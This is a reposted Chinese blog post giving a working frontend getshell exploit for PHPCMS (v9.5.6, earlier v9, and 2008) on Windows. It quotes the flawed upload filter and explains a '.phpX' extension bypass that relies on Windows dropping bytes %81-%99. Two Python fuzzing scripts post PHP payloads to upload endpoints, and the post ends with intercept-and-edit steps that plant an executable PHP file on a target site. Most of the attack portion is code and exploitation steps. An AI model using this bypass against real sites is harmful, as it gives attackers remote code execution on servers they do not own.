通杀getshell——PHPCMS全版本(前台)

这里的全版本是指:最新v9.5.6 + v9 others +phpcms 2008 + ..

这个漏洞在Windows下和Linux下利用方法不一样,鉴于 @phpcms (省略10000字),都懂的..
这里我只给出Windows的利用方法(Linux的利用涉及另一个漏洞,暂不公开) 

Tips:这个洞在我手里已经有很长一段时间了,主要目的是分享里面涉及的思路.


#1漏洞文件及相应的代码
 
/phpcms/libs/classes/attachment.class.php
 
/phpcms/modules/attachment/attachments.php
 
造成漏洞的代码(只贴最重要的)
$aids = $attachment->upload('Filedata',$_POST['filetype_post'],'','',array($_POST['thumb_width'],$_POST['thumb_height']),$_POST['watermark_enable']);
 
//...
 
foreach($uploadfiles as $k=>$file) {
 
$fileext = fileext($file['name']);
 
if($file['error'] != 0) {
 
$this->error = $file['error'];
 
return false; 
 
}
 
if(!preg_match("/^(".$this->alowexts.")$/", $fileext)) {
 
$this->error = '10';
 
return false;
 
}
 
if($this->maxsize && $file['size'] > $this->maxsize) {
 
$this->error = '11';
 
return false;
 
}
 
if(!$this->isuploadedfile($file['tmp_name'])) {
 
$this->error = '12';
 
return false;
 
}
 
$temp_filename = $this->getname($fileext);
 
$savefile = $this->savepath.$temp_filename;
 
$savefile = preg_replace("/(php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i", "_\\1\\2", $savefile);
 
$filepath = preg_replace(new_addslashes("|^".$this->upload_root."|"), "", $savefile);
 
//..
 
}




从上面的代码,可以看出上传的文件类型是我们可以控制的,$_POST['filetype_post'] post提交的,于是我们貌似就可以直接上传php类型的文件,是不是呢? 显然不是,接下来的这行代码限制了我们上传的文件格式
 
$savefile = preg_replace("/(php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i", "_\\1\\2", $savefile);
 
 
很明显,只要文件类似test.php,test.php.php经过此代码后,均会被修改为test._php,test._php._php,显然不是我们想要的结果,我们来分析分析 这个正则替换(这里我们简化下)..
 
preg_replace("/(php|php3|php4)(\.|$)/i", "_\\1\\2", $savefile);
 
 
正则的意思是字符串中查找以php结尾或包含"php."的字符串,找到就将之加上相应的下划线替换掉,这个正则表面上看起来似乎没有什么问题,但是仔细想想呢,还是有问题的..
 
倘若我们上传的文件后缀为".phpX"(这里的"X"表示某一特殊字符),则绕过了这个正则,而恰巧".phpX"可以解析为php(如php3,php4,当然这里这两个不行),或.phpX经过后面函数或程序代码的处理,或利用系统的特性、PHP的特性等,将这个特殊字符处理掉,那不就ok了,下面就来测试这两种情况..
 
#2 测试用的伪代码
 
为了更好的测试,我这里简化了代码,更改为如下
<?php
 
if(isset($_POST['submit'])){
 
$savefile = $_FILES['file']['name'];
 
$tempfile = $_FILES['file']['tmp_name'];
 
$savefile = preg_replace("/(php|php3|php4)(\.|$)/i", "_\\1\\2", $savefile);//这里是整个漏洞的核心代码,同样这里进行了简化,我们只关注php
 
$savefile = 'upload/'.$savefile;
 
if(upload($tempfile,$savefile,true)){//copy & move_uploaded_file
 
exit('Success upload,path is:'.$savefile."<br>");
 
}
 
}
 
function upload($src,$dst,$mode=false){
 
if($mode){
 
if(@copy($src,$dst)){
 
return true;
 
}
 
}else{
 
if(@move_uploaded_file($src,$dst)){
 
return true;
 
}
 
}
 
return false;
 
}
 
?>
 
<html>
 
<body>
 
<form method="post" action="copy.php" enctype="multipart/form-data">
 
 <input type="file" name="file" value="1111"/>
 
 <input type="submit" name="submit" value="upload"/>
 
</form>
 
</body>
 
</html>




#3 思路一:测试除了php3、php4,还有没有其他的后缀可以解析为php
 
Fuzzing 测试代码1如下(py)
import sys
 
import time
 
import random
 
import urllib
 
import urllib2
 
def randstr(num):
 
    sts = ''
 
    char = '1234567890abcdexyz'
 
    for i in range(num):
 
        sts += random.choice(char)
 
    return sts
 
def setfile(fname,fstr):
 
    try:
 
        fp = open(fname,'a+')
 
        fp.write(fstr)
 
        fp.close()
 
        return True
 
    except:
 
        return False
 
def hex_to_ascii(ch):
 
    return '{:c}'.format(int(float.fromhex(ch)))
 
if __name__=="__main__":
 
    mfile = []
 
    url = sys.argv[1]
 
    if 'http://' not in url:
 
        url = 'http://%s' % url
 
    fstr = '<?php\r\nphpinfo();\r\n?>'
 
    for i in range(256):
 
        s = '%02d' % i
 
        randnum = randstr(8)
 
        fname = 'uploads/(%s)%s.php'%(i,randnum)
 
        print '[+] Writing file %s ..'%fname
 
        shex = hex_to_ascii(s)
 
        fname = '%s%s'%(fname,shex)
 
        flag = setfile(fname,fstr)
 
        if flag:
 
            fname1=fname.decode('gbk', 'replace')
 
            fname1 = urllib.quote(fname1.encode('GB2312', 'replace'))
 
            u = '%s/%s'%(url,fname1)
 
            try:
 
                h = urllib2.urlopen(u)
 
                res = h.read()
 
                if 'DOCTYPE' in res:
 
                    mfile.append(fname)
 
            except:
 
                pass
 
    print '\r\n[+] The result is:'
 
    for uu in mfile:
 
        print uu



该程序在本地跑起来,效果如图.

可以看出,在Windows环境下,只有php3可以解析为php(Kali Linux测试php5可以解析为php),由于.php3会被转换为._php3,所以这个思路行不通..
 
#4 思路二:有没有可能将特殊字符串"X"干掉
 
Fuzzing 测试代码2如下(py)
#by felixk3y ..
 
import sys
 
import random
 
import urllib2
 
def hex_to_ascii(ch):
 
    return '{:c}'.format(int(float.fromhex(ch)))
 
def randstr(num):
 
    sts = ''
 
    char = '1234567890abcdexyz'
 
    for i in range(num):
 
        sts += random.choice(char)
 
    return sts
 
def postdata(mHex,sname):
 
    data = '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
 
    data += 'Content-Disposition: form-data; name="file"; filename="%s.php%s"\r\n' % (sname,mHex)
 
    data += 'Content-Type: application/octet-stream\r\n\r\n'
 
    data += '<?php phpinfo();?>\r\n'
 
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
 
    data += 'Content-Disposition: form-data; name="submit"\r\n\r\n'
 
    data += 'upload\r\n'
 
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9--\r\n\r\n'
 
    return data
 
def Fuzzing(mstr,url):
 
    posturl='%s/upload/copy.php' % url
 
    headers = {
 
        'User-Agent' : 'Googlebot/2.1 (+http://www.google.com/bot.html)',
 
        'Content-Type' : 'multipart/form-data; boundary=----WebKitFormBoundarycMYRelX1B2H69xy9'
 
    }
 
    sname = '%s-%s' % (mstr,randstr(8))
 
    sHex = hex_to_ascii(mstr)
 
    posts = postdata(sHex,sname)
 
    request = urllib2.Request(posturl,posts,headers)
 
    response = urllib2.urlopen(request)
 
    htmls = response.read()
 
    response.close()
 
if __name__=="__main__":
 
    url = sys.argv[1]
 
    if 'http://' not in url:
 
        url = 'http://%s' % url
 
    for i in range(256):
 
        print '[+] %d ' % i
 
        #time.sleep(2)
 
        if i==20:continue
 
        s = '%02d' % i
 
        Fuzzing(s,url)




同样,该程序在本地跑起来,效果如图..
 
D:\>Fuzzing_phpcms_upload.py www.vuln.org



文件名前面的数字是被"干掉"字符的十进制数字,可以看出%81--%99会被干掉..
 
该特性雷同Windows下对"."和" "(空格)的忽略。
 
#5 测试phpcms
 
好,由于经过上面的Fuzzing知道,只要文件名为".phpX"(X表示%81-%99),就可以生成绕过正则生成".php",成功getshell..
 
首先在网站后台进行如下的设置..
 
1.内容 > 管理栏目 > 设置投稿 (允许)
 
2.用户 > 会员组管理 > 管理会员组 > 设置是否允许上传附件(允许上传)


随便上传一个jpg文件(这里是显示phpinfo信息),抓包 修改,如图:


这里有两处需要修改:
 
jpg|jpeg|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf 
 
//后面添加phpX
 
Content-Disposition: form-data; name="Filedata"; filename="11.jpg" 
 
//上面的11.jpg修改为phpX
 
这里X为%81-%99
 
 
点击Forward即可在 /phpcms/uploadfile/2014/0530/ 目录下生成php文件,如图


就到这里了,至于phpcms 2008 getshell的方法与之类似,不再阐述


转自:http://www.2cto.com/Article/201407/313605.html

posted @ 2014-07-05 20:34:04 kuye 阅读(5273) 评论(0)
发表评论
昵称
邮箱
网址